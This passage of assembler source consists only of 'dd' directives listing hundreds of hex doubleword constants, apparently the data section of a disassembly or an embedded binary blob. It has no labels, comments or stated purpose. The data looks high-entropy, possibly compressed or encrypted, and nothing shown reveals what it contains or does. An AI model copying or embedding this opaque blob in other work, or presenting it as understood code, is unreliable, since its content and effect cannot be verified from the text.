		dd 6DBB878Ah, 124F60F0h, 0AA090752h, 505B290Ah,	94ED2677h
		dd 68F6E300h, 0A005F8F5h, 0D81A01B5h, 0BAC804Ah, 0C8B63047h
		dd 38657502h, 0C02E536Ch, 7F9836Eh, 39A174FFh, 9DF5F001h
		dd 0A4008922h, 68A2E984h, 0D49CBFh, 3E434B93h, 57E148C2h
		dd 70E80C00h, 0E9A79504h, 505800BEh, 7E1DDB85h,	0F0004B12h
		dd 4DE4433h, 9749D4h, 7F24D031h, 0C4BA3DEEh, 0B214EB00h
		dd 73E809BDh, 0A96C0023h, 0B4DF9A3h, 3CFE5F3Eh,	0A1856000h
		dd 0CFDFE8A4h, 30C3034Bh, 78A2DB33h, 341E5E90h,	3B121400h
		dd 1A057EF3h, 0C1DF0004h, 49A81D3Eh, 28EEB127h,	4AEC7F00h
		dd 1151E360h, 9CBE00BAh, 0C47D8D04h, 0A790E9B9h, 8FA5F301h
		dd 2164BC05h, 1429B20h,	10B02D89h, 0EF84B41Dh, 1508A4F8h
		dd 8D87AC00h, 0DF5C44Dh, 9377D17h, 0FC7D8397h, 35B5A100h
		dd 6792008h, 0C92BE803h, 880C45FAh, 1CC0A240h, 4359481Dh
		dd 0C4151BB8h, 0FF03E990h, 2F967100h, 2836156h,	417E1D05h
		dd 3D2580EEh, 7594C81Ch, 0C6180D1Fh, 1132481h, 26F95AD9h
		dd 4CBB20h, 0CB222C48h,	95D3E834h, 0A345C501h, 18247444h
		dd 3C9F30h, 160646B2h, 6B202778h, 0F5B93805h, 2080EE93h
		dd 14E1C3Ch, 124A892h, 0E832A9C8h, 0EC0E040Ch, 0C1D210ACh
		dd 0BBBF30C7h, 0E6803CB9h, 115ABE5Ch, 13001280h, 0F294834Bh
		dd 383C22h, 334AE877h, 30BB354h, 0D0299200h, 595C44BBh
		dd 1B98FFh, 0E68A0FE2h,	57C01750h, 63E8C102h, 80B4ED9Ah
		dd 46EA32E3h, 23F011h, 77FF0C1Dh, 0F820061Ch, 3E933700h
		dd 5D2656A4h, 73870015h, 19D8F70Fh, 0C9074045h,	32BBB684h
		dd 3885609Eh, 1806BEh, 250B34BFh, 0CE587B80h, 83161C0Fh
		dd 0BEE0203Fh, 5F8917h,	6F3787D0h, 0FBC2E803h, 75231200h
		dd 381A08EFh, 47743E40h, 25581383h, 0EC88A34h, 0BA001685h
		dd 0B88C4228h, 1FA27214h, 803E8FAFh, 0EB0B12ACh, 0CF01C62h
		dd 75226000h, 6ECF7013h, 0B4150048h, 0E186926h,	0F212163Eh
		dd 0D60029ADh, 0A750204h, 0F64C28BEh, 268907FEh, 0F0080C43h
		dd 7622012Bh, 503EB2F8h, 0AA18005Fh, 6DFBE8C0h,	192E1F37h
		dd 3B0079FDh, 587404CCh, 22007F06h, 0A64BEAEBh,	75482Dh
		dd 285314C2h, 0C01292B7h, 980D1500h, 0A03B831Ah, 66F0041h
		dd 8BCBC660h, 560003C1h, 0FB6C097Bh, 7A5E0438h,	508C00EBh
		dd 6974726Fh, 73036EA0h, 3D437920h, 3FFAA070h, 7A680067h
		dd 2963281Fh, 39003181h, 0D32C3338h, 1CCCBAFh, 3718B76Dh
		dd 60918990h, 9707E9FBh, 238FF5ADh, 0B75C7C90h,	8B8400E3h
		dd 1C2ED110h, 5138C2C7h, 0F84A072Dh, 0F0D07C49h, 0EFF6Ah
		dd 8D5007CBh, 57E8D242h, 6B0068F8h, 60C47858h, 2C8BD618h
		dd 275513h, 0EC80342h, 29E40865h, 4EEAB000h, 6CA3DAFCh
		dd 24510030h, 1A7F4145h, 1700F5B4h, 93750542h, 0FAFE227h
		dd 13481864h, 0F65A00DFh, 0B78C97EBh, 0A1876E00h, 4C4B147Ch
		dd 21440095h, 2A7E150Ah, 203B3BF9h, 501C0054h, 95F8375h
		dd 10180026h, 895A081Fh, 6FF4FC97h, 1768F803h, 0F86B04C6h
		dd 38BA546h, 25C0E390h,	0F8E1C1D6h, 0FEF9E458h,	96BCC700h
		dd 7A980914h, 95F00053h, 3277E45Ch, 0F0026CFh, 0EC96573Bh
		dd 0F38597h, 0D9F1D3F8h, 0B35EEAF2h, 97F8F00h, 8223C74Ah
		dd 816700EBh, 8B7854FBh, 64002C7Dh, 9708E0BEh, 40CFC90h
		dd 55532850h, 7B40C010h, 0A90086F1h, 0D7E27B8h,	0C70441h
		dd 323ACEE9h, 0ECD93306h, 6098B57Bh, 0C5204401h, 16225498h
		dd 293160h, 80CA4607h, 0C09CB8B4h, 89145200h, 95D1B9E2h
		dd 175B032Ch, 41151268h, 3A522198h, 83D50A3Dh, 1945132Fh
		dd 0FD02C0E2h, 0E03E60Bh, 695E3A62h, 0ECE8EB01h, 1CF1306Ah
		dd 295AD100h, 2712E5E4h, 41240065h, 66522D30h, 620C9B3Bh
		dd 70340A20h, 82C30E0Dh, 6AF280Eh, 0EB081941h, 496892E4h
		dd 763A8A00h, 7621D725h, 3C901FC2h, 4252C38Ah, 57C0014Ah
		dd 891D5150h, 0F20720D7h, 3B0AE5Ch, 158D1F7h, 5F9AC101h
		dd 70A41992h, 0CB03ACB0h, 0EA0F7061h, 0F234D8FEh, 8B770103h
		dd 35C9FC7Bh, 0DC8E43Fh, 0E2840F00h, 8A2734FDh,	798B000Eh
		dd 85B97EFCh, 391EFA01h, 77EC02CEh, 7A4A2C00h, 4E0E41h
		dd 2413269Ah, 0F5A48F46h, 6217AA00h, 83AB42F7h,	0AF3D07D0h
		dd 91618828h, 213BA044h, 517460AFh, 68BC0800h, 0F9233450h
		dd 0E94F00C0h, 0ED42933h, 0D3003958h, 250CE16h,	3FC5Fh
		dd 49756E46h, 0D809DFC7h, 0B34B8B00h, 0A2FAF277h, 53030063h
		dd 0A5580F91h, 5C004320h, 0F84F33F7h, 48A48CFEh, 0CA000271h
		dd 0E6A0BE9h, 5400AE51h, 0A650528Dh, 8BED40h, 104F944Ch
		dd 41112FD7h, 714AFC00h, 305A56CFh, 8BC60007h, 6F149C44h
		dd 0B800F5D3h, 5501D834h, 0D054CEh, 7E2AE975h, 0ACC8EF82h
		dd 5AC44A00h, 248D5801h, 0E0FD0094h, 3E6CD92Ah,	3900F145h
		dd 8FC709D0h, 3EA5CB29h, 8200687Fh, 0AE1C8B6Bh,	0C05857DCh
		dd 277007Ch, 5213C201h
		dd 0B4EA00C1h, 1FE40E4Fh, 4A145888h, 2C954E89h,	4003A310h
		dd 0E0E6C7C6h, 7F786h, 0FE5A6FBEh, 2C2250E0h, 41813800h
		dd 34761702h, 0E3A1E18h, 0E3678410h, 0CA7DC0B8h, 300006E1h
		dd 0C0012773h, 7F23EB2Ah, 0D4FA61h, 151307D6h, 0CF62B25Ah
		dd 0A4D0E301h, 2A590ACh, 1F850D8h, 0B078C442h, 60119743h
		dd 8001DB44h, 0FB3AF9B8h, 2822C77h, 0FA34A86h, 390225D0h
		dd 13A424DBh, 9D4AC190h, 0C51FD868h, 80CC1EE7h,	36D0895Bh
		dd 7E008BF8h, 0FC58252Dh, 70261BC0h, 27C754Ah, 1F7DDA39h
		dd 5068D329h, 9E000519h, 0F416117Fh, 6394C9h, 313A7D25h
		dd 89E50AD2h, 2A93D900h, 126CB113h, 9ED50F5Bh, 1FF6BC8Bh
		dd 0C0575F87h, 0FC304086h, 7C004E3Fh, 7D123D4Ch, 430126h
		dd 0F129227Eh, 2D9CFE9h, 3F42BC3Eh, 8DF200F9h, 7F4D3A04h
		dd 52FB0724h, 10FAF0A1h, 0DF4C4762h, 4087A900h,	70317992h
		dd 4F8B0088h, 8334F1FCh, 7803044Ah, 46068A1Bh, 147ED9C1h
		dd 10D5F4h, 3BCB8937h, 15A6F3C3h, 0C746000h, 5AEC128Ah
		dd 57FF051Dh, 0C0415E08h, 273AF875h, 6A985100h,	0FF314390h
		dd 489B0028h, 23AFC2FCh, 0E0007883h, 0EC1D756Fh, 0F92A09E8h
		dd 1C87A1FBh, 0A5F884F5h, 8B75003Ah, 701A40EEh,	0AE0790FCh
		dd 28DC3050h, 949B0C60h, 0C93207AAh, 0B021FAD2h, 477CF139h
		dd 9D4BB600h, 4502C80h,	0B86F75E9h, 0D43400B4h,	455DB2CAh
		dd 0C81D30DBh, 0F31EF729h, 593D4080h, 0DA8906h,	1347E95Bh
		dd 9C36C34Ah, 83A8B83Fh, 1E0EC81h, 0E2FAE0A3h, 41B5007Ch
		dd 903C37E8h, 7900F01Dh, 7D28F320h, 1F240A80h, 403175FFh
		dd 856AE3DBh, 1F07AE15h, 0C45B1C59h, 0AAF8C910h, 504D0322h
		dd 0F5743158h, 0B586C194h, 0C066F932h, 87FB0E4Bh, 0CE4652CAh
		dd 10584960h, 0D1350096h, 590CD722h, 50009A20h,	32125B3Bh
		dd 0EC8814h, 8A532E44h,	4F3924A8h, 6113B300h, 897C620Eh
		dd 4CE21D06h, 5A94075h,	0FF0912A3h, 6DE42E00h, 0EC7F4F14h
		dd 0FE52039Eh, 0E0F94B7Ch, 2089DDC1h, 0D600FAEDh, 0E506ADA0h
		dd 8001F4h, 7BBFF85Ch, 0A80B0ACEh, 0C1E4600h, 0D3F5890h
		dd 7F6200A0h, 0F7B400Eh, 881266C8h, 0D80012B2h,	5893598Eh
		dd 0CF22F66Fh, 7FC0012Ah, 0E9D6980Ah, 0DBD24503h, 0F0F35214h
		dd 78EB19h, 30071A91h, 1DCC2C58h, 1A86A58h, 0D4612D44h
		dd 10F0BB28h, 433E4C0h,	0FEF39450h, 89A0C052h, 54008BD5h
		dd 2C8E0A2Eh, 0CB5C03h,	4A0D8F02h, 638AB406h, 241D2D0Fh
		dd 351940E8h, 771A493Dh, 37FD0171h, 5DF01650h, 431ED4EBh
		dd 0E8730400h, 0F243846h, 0F2940077h, 54A97D11h, 9D0049F1h
		dd 0D1285C61h, 984AE98Ah, 70B31F84h, 0DA48C08Eh, 0C6087544h
		dd 7761C400h, 0E57F9C8h, 708E075Bh, 306A2D4Bh, 463A7620h
		dd 0CD25F50Fh, 554F409Ch, 7740561Ah, 287A7E59h,	5DFD6D0h
		dd 1C2F89DBh, 41918024h, 14039BCCh, 0CE920BFAh,	5749A8D0h
		dd 0D45D003Eh, 0D8CCB056h, 4B002B31h, 22CF2529h, 9B3D09h
		dd 0AA1DD5AEh, 5098BEE1h, 0EF335600h, 48CD832Ah, 0BD5B0971h
		dd 5F80325Fh, 84F85A85h, 0FDB21C00h, 0A81E532Bh, 0BF3100AFh
		dd 0D21D1499h, 0F802BB85h, 19385755h, 606FC2C7h, 0BD0FDCh
		dd 10C2731Bh, 23DE0892h, 0F77993F2h, 765E938h, 0FA832875h
		dd 0E0EE72E7h, 26BD9981h, 10372EB4h, 190E3DF6h,	73E02A56h
		dd 27C7661Ch, 0E9289102h, 0E0485E25h, 8BA18Ah, 0E4D414A3h
		dd 88909DA4h, 64836602h, 0C02A8038h, 1818764h, 5F3E868Dh
		dd 4084F742h, 0EB2720CEh, 51FF100Ch, 419FC15h, 0C3A78AAEh
		dd 6071805Ah, 7304123Ah, 0DB77B111h, 0E78611C5h, 0C41007Ah
		dd 7099C3CDh, 14057F3Ah, 757E0FB1h, 301D7980h, 8F580002h
		dd 72BD0486h, 1300C6A8h, 0E5DA0908h, 0FE4C8A52h, 1E507A0Ah
		dd 0BF6493C3h, 981AB80h, 1C850FC0h, 96883900h, 0F02FE0A2h
		dd 0FC021DE4h, 2D51407Dh, 0A9104B9h, 31345901h,	458D12D8h
		dd 0E7B0BF8h, 558F6833h, 40DC2D60h, 0D476D84Eh,	0E43E4A98h
		dd 9C9294F2h, 2C3503F1h, 88E3CCA8h, 1385150h, 0CBD48A23h
		dd 7056B2CFh, 6B00B387h, 0B5657C25h, 797B1D83h,	62CD005Ah
		dd 0F926845Bh, 7014923h, 2D350371h, 27DCE24Fh, 53C800FFh
		dd 2C30EB4Ch, 0CF02D1D6h, 0FE8AE7E8h, 0CA82E095h, 0C0756Dh
		dd 0C336835h, 0ACDD5634h, 1209200h, 5482ABAh, 2F2200FDh
		dd 9B511998h, 32008C07h, 0F80A0389h, 0E6443EAh,	2FC0C08h
		dd 9A34EB60h, 7D008F4Ah, 0D15727AAh, 3515C18h, 2B4EAD53h
		dd 28BBA5BEh, 44959C88h, 8A971202h, 0C03BFD01h,	72EE3D6h
		dd 0D266E56Ch, 57A5C7A3h, 9794F008h, 0D800E0C3h, 7E85109h
		dd 7C5BA2Fh, 6962279Ah,	763AC05Fh, 6D01EE74h, 8BDE9C53h
		dd 0D9C187EFh, 3D8E230h, 82DF0D75h, 0A0A4E84Ch,	3203E259h
		dd 0A4133D59h, 305A875h, 210801FBh, 0A31D319h, 0F7D5C048h
		dd 22135500h, 4271109Dh, 949600B4h, 93CBE658h, 0E77BC295h
		dd 2F9B3000h, 0BF4B2D87h, 5EC00034h, 0D383D4CCh, 2177F869h
		dd 0A3110A00h, 63579D5Ch, 0B9510079h, 914C4DB0h, 0F600D6CEh
		dd 6A65AF5Bh, 1E46728Ch, 43B99944h, 0A58B7D89h,	0EF9C13C0h
		dd 0EC830600h, 0FB8D810h, 78207B96h, 90100B9h, 6531F3E8h
		dd 2B0F27B6h, 6FAA56B0h, 2499E0C4h, 595350h, 448CDD58h
		dd 70FF1B1Ah, 0C4060C00h, 33B8040Dh, 891200D9h,	5B3936E2h
		dd 551F2CA2h, 807AE011h, 0AD05D354h, 91F849h, 6CC88925h
		dd 0A34A2471h, 0A540400h, 3870B506h, 47640027h,	3B74A607h
		dd 8D000583h, 85E1D11Bh, 188A910h, 6AE48661h, 0C0953F1Ch
		dd 0C8002C97h, 6B7C818Fh, 0A5FA10h, 0E8067525h,	6602EBEDh
		dd 1C453303h, 0F115FC51h, 0CDF86010h, 77190074h, 7204583Bh
		dd 8010A67h, 0C0705A4h,	0F5E0C975h, 0B0360084h,	0EEE7F432h
		dd 0F0095EBh, 8A129166h, 19A810h, 0EF755CC2h, 6FB8F844h
		dd 64B05B00h, 0C94BC4B3h, 0A3300034h, 9D747A68h, 130F6A82h
		dd 871B7501h, 84D0C3EFh, 7A88214Ch, 53CF022h, 9D7D83F4h
		dd 5598C0C2h, 85001018h, 5077CDB1h, 0F6B9D36Dh,	0A43400F4h
		dd 8C12A515h, 450043E8h, 356536E9h, 371C8Dh, 3ADC3880h
		dd 1780F08h, 0E0EEEDFDh, 700015D5h, 0E814025Bh,	6633D7h
		dd 823B8013h, 8D26EA0Fh, 0A76A3Dh, 0B747C53Dh, 565DD6h
		dd 0F96C34Ch, 2752BF3h,	1468D0Fh, 6268C0AAh, 844BE8h, 39554C64h
		dd 0C749F8CEh, 936F400h, 1F8203D0h, 90FA0081h, 618F0FA4h
		dd 40488B92h, 3348002Eh, 35C65203h, 0B61C0765h,	0C75CC3E1h
		dd 744450E3h, 0C274DEC7h, 0E9856703h, 0A88921DBh, 72047E2h
		dd 3A2CD4CFh, 0C203E056h, 4EE03D40h, 0C6487F00h, 33A13584h
		dd 43A9035Ch, 40AC4C41h, 37A7F090h, 3030976h, 20DF7285h
		dd 0FF5FA8C7h, 2A0200D2h, 590B5D1Ah, 6B0EC1CCh,	0C06E7265h
		dd 321D336Ch, 7B643C2Eh, 920FF594h, 6F673C70h, 61500073h
		dd 4E7468EEh, 51006D7Dh, 0A8231441h, 0FFEE010h,	71A75292h
		dd 40FFE3CEh, 0C68F60ABh, 0E100EE45h, 68D9467Bh, 24BDE03Fh
		dd 87DC91h, 10F801C5h, 1E3974B1h, 7023004Eh, 0C47275E2h
		dd 64210052h, 71014B46h, 361D0EE8h, 6000C7B1h, 92B2A5C3h
		dd 6F903FD4h, 6400EB3Bh, 967AC5ABh, 58007352h, 784B1A37h
		dd 906850h, 0FC3DB3DAh,	466BF053h, 0BF16A60Fh, 0C793001Eh
		dd 0E892AB34h
		dd 6A230B43h, 0EC803305h, 2BEB038Ch, 261B6F0Ch,	0F61811h
		dd 2113BD80h, 0BEAF0A48h, 0F37D9307h, 678EF90Ch, 9FE0CEEEh
		dd 22D12h, 0BD486D23h, 3250E52h, 26783Ch, 2E2C754Bh, 0E8102904h
		dd 0F09500C9h, 6D74820Ah, 3D008E43h, 0AF5115F6h, 755329h
		dd 47AB021Ch, 0D6B63392h, 4613147Ah, 0C9004C69h, 89265B8Fh
		dd 73041E20h, 0A92443F5h, 0E0DBC6C9h, 666F5380h, 61777400h
		dd 0CA655F72h, 0DE48001Ch, 0FEF9633Fh, 0D83D9173h, 0FBEB802Bh
		dd 6E232938h, 10BC1F13h, 0A1FA80A4h, 0F8357F14h, 38858700h
		dd 0B5213912h, 0A4707CFh, 0E0242758h, 1322A654h, 0B1E2040Fh
		dd 9BC2A088h, 6F6621h, 753958E7h, 0E5B6C74Eh, 0A6385C00h
		dd 0BFA37756h, 3490009Bh, 0FDCF51D9h, 64031019h, 0B5ADA648h
		dd 8FE8C0E0h, 0D3371F49h, 0FC863FA2h, 5205503Bh, 230C5100h
		dd 0EB45A1C2h, 0E73E81Fh, 0BC34E8Bh, 553BC880h,	0E413B4FCh
		dd 2E030A37h, 0E0068E4Fh, 48EAFA2Dh, 0C20FAD6Eh, 9A2C0A6h
		dd 0CB41FCEEh, 0F13DCCE3h, 80047B38h, 2A7D3E81h, 0AB15A68h
		dd 998438Bh, 0B3E803EAh, 50727B99h, 6F0CBC00h, 0F3F4120Ah
		dd 0E87F47Ch, 0CDE31328h, 0C0A7C845h, 89582A2h,	3C00F178h
		dd 0AC042512h, 48E09378h, 1000B62Ah, 8D520C06h,	4A000EBAh
		dd 214BC22h, 2993E8h, 0E6A2D272h, 11C98E7Dh, 6DF81F00h
		dd 1DF1F35Eh, 0B18B0051h, 1A7EA256h, 3C00C9EDh,	0AEB77DF2h
		dd 52AAE9h, 62BB4433h, 21590504h, 0F7EB3400h, 9612CADh
		dd 76747FB0h, 745B48E8h, 49017500h, 0DC76DA19h,	894C3001h
		dd 6CB0C46h, 17FF20h, 45C3B12Dh, 9B480B74h, 2EFC207Dh
		dd 3AC0E900h, 4BB8621Ah, 0F2BA0380h, 40B95F31h,	1C46C7D0h
		dd 65D6E800h, 827A079h,	50C4FA18h, 0B80FE502h, 29C00313h
		dd 62491778h, 4424A0F7h, 14002018h, 597E8088h, 222648h
		dd 0FB96B2AEh, 10510F99h, 7060520Ch, 852046h, 0FF32DA53h
		dd 8920EB3Ch, 7E810600h, 8BB3042Ah, 63A600B8h, 4EFF1FA3h
		dd 0EA0050EEh, 7BE82836h, 44C874h, 812D8CC9h, 6A96730Bh
		dd 46E12C07h, 0AB303950h, 5CAD2Ah, 0B1D58990h, 968D1361h
		dd 7C2EB900h, 4736FF24h, 0A85A0165h, 0D68B2280h, 5CFD86Eh
		dd 0BC074C79h, 1A1D0906h, 85405B80h, 2A8801F9h,	4AC2572Bh
		dd 15472019h, 8023A33Dh, 22EB5D0Ah, 1491C6h, 8AB29554h
		dd 0F66A5840h, 5E0F617Eh, 2083E8F5h, 3B5374B4h,	0B1223FB0h
		dd 6FC91781h, 607E316Bh, 20736C0h, 0FA480775h, 5EE4B1E0h
		dd 0A47CC3h, 23246D7Ch,	69B81188h, 0E9EB0402h, 809881A2h
		dd 0DBF08BB3h, 0A488008Dh, 49CF9092h, 2403D414h, 0EEDB108h
		dd 4BCAE0EAh, 143148E4h, 5C181A00h, 1C149FB3h, 4CE41190h
		dd 7A3E2400h, 1B13549Ah, 0B08200B5h, 87D882Ah, 0F80E1C90h
		dd 200AAE11h, 75CDFE07h, 0C30B02A4h, 8A94DE28h,	4FBABFC0h
		dd 0E6F34Ch, 0EF461CD3h, 20C30Eh, 0F718AFA6h, 0E9B767B8h
		dd 0A97231Dh, 0E479254Fh, 7580961Ah, 3C2AA1D8h,	0E8950EAh
		dd 0B400FA83h, 85541977h, 6032198h, 132453E1h, 41C5E94Eh
		dd 98042CD4h, 0FC480E0Fh, 0F0C015EFh, 5CC04B3Fh, 784A81E4h
		dd 1A750A00h, 73BB9A4h,	0A573E3C3h, 8A3D50F8h, 80011109h
		dd 48302F9h, 0E1F46B42h, 1D70FFC1h, 0B822000Dh,	0B046A868h
		dd 9C0FC41Ah, 600A3D32h, 81412919h, 0EBBF0074h,	764850DEh
		dd 58005216h, 0B472114Ch, 0EC04C601h, 40FF001Ah, 816656F3h
		dd 13005830h, 0F8425290h, 263C494Eh, 0ED51FFAh,	6F60D23Dh
		dd 0DBF2724Ch, 62B45E00h, 0B0FAE8F1h, 95AC00DDh, 3AC2484Fh
		dd 6500F426h, 104B8339h, 203CA2Bh, 7CF080C4h, 0A1808A1Fh
		dd 3A9B3C42h, 0D701172h, 60AA062Eh, 1EBEE00h, 122B4A33h
		dd 3B8930h, 64CEA7D2h, 5B1EDBB6h, 0AC0BAD4h, 0CDEB5837h
		dd 43C30EACh, 0CFE0850Ch, 6930C235h, 8797743Fh,	0FC5AE45Bh
		dd 0E13D9B12h, 0E5701877h, 120F1DF1h, 27B9C00Ah, 4B35FF05h
		dd 0BCC60C00h, 58F08904h, 24ED0198h, 4084B073h,	0E2E8700Ah
		dd 76805A00h, 45E89C6h,	56FF1D17h, 4587C718h, 0B8942069h
		dd 76007166h, 6F47BAF1h, 75BE77h, 0B7070FB2h, 0B045B3C8h
		dd 21C5F507h, 1E903347h, 90FC2E75h, 2803007Eh, 4987B8BBh
		dd 600452Bh, 1167FD1h, 7DC5A30Eh, 421900F4h, 5F4CA4F3h
		dd 59503302h, 100DA85h,	915D7A62h, 0B6E3D06h, 0AB75A04Eh
		dd 39F6C780h, 5800D050h, 49A6595Ah, 3B77426h, 95772BCDh
		dd 0B87807D6h, 0BA258E0Eh, 83750060h, 0EA7E40F9h, 0E9071F21h
		dd 0B951C004h, 4A27269Ah, 1E773F00h, 0D7532C7h,	7ED5015Bh
		dd 608F0464h, 1AC3E4FFh, 3FDC7100h, 2812F825h, 0EC0E3DA1h
		dd 0CB802BBBh, 2F820B7Eh, 44E874D1h, 0F1875A0Bh, 1D2D00F5h
		dd 0AEA0BAh, 542B7EBDh,	3B90E91Fh, 89DB520Fh, 3FDD201Eh
		dd 580809F3h, 8213B67Dh, 63490017h, 56C3EB15h, 10D38400h
		dd 0E22B5A27h, 121403CBh, 0C928B5CAh, 0E9428688h, 69C75300h
		dd 8D368158h, 55FF0E51h, 0B967C17Ah, 5A6CC001h,	0E202A4AAh
		dd 0F04C49A9h, 7B0DE020h, 40950483h, 0C1AEF2F4h, 0D349D125h
		dd 21ED6C00h, 2C663B97h, 0D7F60012h, 0ABA63790h, 0E000209Fh
		dd 4574487Ch, 71416CBh,	7F8DD5A2h, 0F29C02Bh, 5F001FE2h
		dd 2CDB92C0h, 4F6855h, 0DE011990h, 0ECE8C1C9h, 4224B201h
		dd 3D620F16h, 9E18FCh, 3318C50h, 800422B3h, 340045E0h
		dd 0C3158451h, 0EA48D8F7h, 4442007Dh, 3001F9E2h, 0B0EE0B3h
		dd 0CB473198h, 0C7670752h, 2DA3C3E0h, 6577005Eh, 70EED93Dh
		dd 150001A4h, 0A7FFF80h, 0EE13FC8h, 1C4002A0h, 840542E0h
		dd 770008FAh, 380C9C72h, 7A47C350h, 0F424000Fh,	9680C012h
		dd 8C7A1698h, 0BEBC200Fh, 6B286119h, 16A61CEEh,	80951F7Ah
		dd 43B7E16Fh, 0C0023BAh, 0D4A50410h, 0FE800DE8h, 84E7002Ah
		dd 14A39174h, 0E6F4F4F0h, 2DB52800h, 31A0020Ah,	0E35F18A9h
		dd 8BF3C30h, 8E1BC900h,	2EC54034h, 7CA258BCh, 76FA3700h
		dd 0B6B3A0Eh, 3E91DE38h, 234400E8h, 883E8AC7h, 4AC0162h
		dd 0AD78EBC5h, 7A80C041h, 26B71701h, 44D8D710h,	1AC90C0h
		dd 8678326Eh, 30484087h, 0A0357B5h, 0A968163Fh,	0EDA1804Bh
		dd 0CE0703CCh, 4ED3C21Bh, 1484A0C8h, 5161F800h,	527A5976h
		dd 0A5C80407h, 0C0B99019h, 0A0556724h, 200F3A0Fh, 8F27E0F4h
		dd 0C358CECBh, 0F894093Eh, 3F3978D8h, 875C813Dh, 36B90BE5h
		dd 8FD1D7B7h, 0DFEC5FA1h, 467004Eh, 0F2C9CD1Ch,	8300629Eh
		dd 45812296h, 1C6F7CF8h, 3F657AFCh, 2B70B500h, 9DC5ADA8h
		dd 1697F00h, 0FFCFA6D5h, 781F0E49h, 0C314B6BDh,	16C59B03h
		dd 0EF80B3ABh, 0E001413Dh, 0A48E98Ch, 93E4BAE4h, 24AAE0A8h
		dd 0E78E617h, 0B60516A1h, 55718012h, 8D093927h,	70F70Fh
		dd 0C9304093h, 0FFE33D3Ch, 8A529681h, 838E49E7h, 0EBFB9D9Ch
		dd 5152007Eh, 6A2F8C43h, 0F00195Ch, 0BBD226FCh,	1EE37640h
		dd 8029F2CCh, 7D817C84h, 0A141C44h, 0A4DB90h, 406F9FA4h
		dd 1F8AA17h, 0E30F10AEh, 0ECFAC4C5h, 0B01C9C59h, 0DD002AE9h
		dd 4564F28Ah, 0F7F300D4h, 4AE1EB03h, 0CF0F957Ah, 0A7A262D1h
		dd 0D800DC07h, 39B83Eh,	0E91C746h, 0A0AEA603h, 0A3E31900h
		dd 750C17D0h, 86812C39h, 48C9002Ah, 93A7E44Dh, 353BF0E1h
		dd 0EDB2B800h, 5D1CE553h, 0FDC5003Dh, 929E8B80h, 0F000A65Ah
		dd 0C02001A1h
		dd 0F8CA554h, 0E5FB6137h, 5D259D01h, 0DBF9C089h, 0F3F86700h
		dd 7BA2BF27h, 80CAC0C8h, 20979B6Eh, 28A38h, 25C46052h
		dd 59F075h, 562FCD5h, 0CAAE3511h, 3F857B00h, 0F7144EFAh
		dd 0B33B007Dh, 0CB0413C8h, 0C1FE964h, 7F80BC03h, 59D109A8h
		dd 70C207E2h, 7023A508h, 5E8C2855h, 5C00B07Fh, 4C914197h
		dd 0B18D0h, 875C91Dh, 0DE74D20Fh, 58F8DBF0h, 0A791001h
		dd 0EEDAF726h, 73883ECh, 1CF3673h, 0D97E8334h, 20E9DB91h
		dd 8B75C16Fh, 3582CE00h, 0E75B906h, 0E0D100F6h,	0D68ED24Eh
		dd 3B0ED7C0h, 870B72FDh, 0F3700477h, 382B051Dh,	40001B1Fh
		dd 0F75BE7E2h, 0B301B1C3h, 4607740Ah, 0F7205669h, 0F3E003E5h
		dd 0E8EBD233h, 0F08B5BD0h, 0C023980Eh, 0FE832008h, 5875FFh
		dd 0B0FCA11h, 5B3981F2h, 5F18000h, 481C2478h, 0FFDA00C3h
		dd 0E8048237h, 0ED30F8D9h, 0ABAA462Bh, 2FE42EA8h, 0F882681h
		dd 8B40835Ah, 0A77B9EDAh, 5D64F300h, 47565948h,	0C8EE07h
		dd 0F07E25BEh, 0F495725Ch, 0CA92AC07h, 7520F2F5h, 42CC88h
		dd 2F3344DCh, 85844F80h, 251520Fh, 40400FABh, 9C7C20F9h
		dd 302C00F1h, 0D81C051Ah, 0AB07B8C3h, 0FE2D331h, 2A60A510h
		dd 5CFB0EE0h, 0C121061Ch, 708B1FFAh, 9900E6FCh,	38F8D333h
		dd 3B487FADh, 303F5EF9h, 0E8000EBEh, 395364DAh,	2500AFEAh
		dd 7E75F448h, 9D5442h, 5E24054Bh, 0C93793C1h, 2C383500h
		dd 535CAC92h, 317F000Ah, 0C1F096Fh, 0F9031474h,	0FC2B7A81h
		dd 0EC10F873h, 50F230A5h, 0D81754DCh, 57F81A00h, 703C685Dh
		dd 83FA42h, 0F01212Dh, 0CC2ABCE1h, 8A309201h, 2299B355h
		dd 3D3CF0h, 0DE605C6h, 43460E02h, 1F0044F8h, 0E8C76603h
		dd 0AF9D6Ch, 287F34A7h,	92A40901h, 897058h, 4991410h, 0ECA78056h
		dd 98EB00E8h, 2940693Fh, 541F4BFAh, 2A050A90h, 5D80877Eh
		dd 1A5A6Bh, 697947F3h, 5F76139Bh, 22302D00h, 9DAB7CBAh
		dd 3AE500F9h, 0F4AF25Dh, 0D07B25Ah, 472CA31Bh, 9001BBE0h
		dd 84280015h, 204838DBh, 0C201F229h, 94345577h,	0D660CBF3h
		dd 0B8090092h, 0FC114710h, 0F8008891h, 0F072F4E4h, 90CEC39h
		dd 8B82F53h, 8343CC00h,	0CC033D2Ah, 197DE0D7h, 25E2F00Ah
		dd 0D22E00E8h, 1C8368A8h, 0E175406Ah, 987B4503h, 0D8A50C02h
		dd 0AEB1Fh, 2D31A153h, 3D0D8B43h, 0E01D8900h, 78156B19h
		dd 83784Fh, 2F2893E8h, 1CD422A3h, 56E75403h, 0E0A531B3h
		dd 5771E14h, 32157CC5h,	0D04CC74Eh, 8B730A3Bh, 282B2903h
		dd 0A8CD191Fh, 581246h,	548E0B2Dh, 318A4C9Bh, 1DC80D00h
		dd 1442058Bh, 0FF600084h, 15F66428h, 6D182C6Bh,	0AD04C382h
		dd 4F34176Eh, 80B71E5Bh, 7A17E022h, 0D903E612h,	0E3535A88h
		dd 0AEE2A0B6h, 0D4A100C5h, 8A7B3448h, 0CD00C48Bh, 0D88E6927h
		dd 0B4E641h, 8900460h, 0CAA8A10Ah, 0EA31300h, 0BA4B80Ch
		dd 0EB2503E8h, 8466937h, 94047BC8h, 4B13BA00h, 75F998B1h
		dd 25EE6Eh, 9E9D5014h, 764D8BC9h, 5328A200h, 20D53AEDh
		dd 0C10CE627h, 0EC908458h, 0C55B204Fh, 0D835FF00h, 0BCB93D14h
		dd 331C014Eh, 54CC2524h, 790BCC99h, 3401577Bh, 932DC45h
		dd 69E480C4h, 0EB601EA6h, 0A49ECF10h, 722413C0h, 99282004h
		dd 2309EE08h, 149118h, 7C0CE47Ah, 478E1EA8h, 40A05EA4h
		dd 3998729Ch, 90691C94h, 0F07FFE1Ah, 6C009170h,	64E468C8h
		dd 98396072h, 22586132h, 60502354h, 4800C819h, 407244E4h
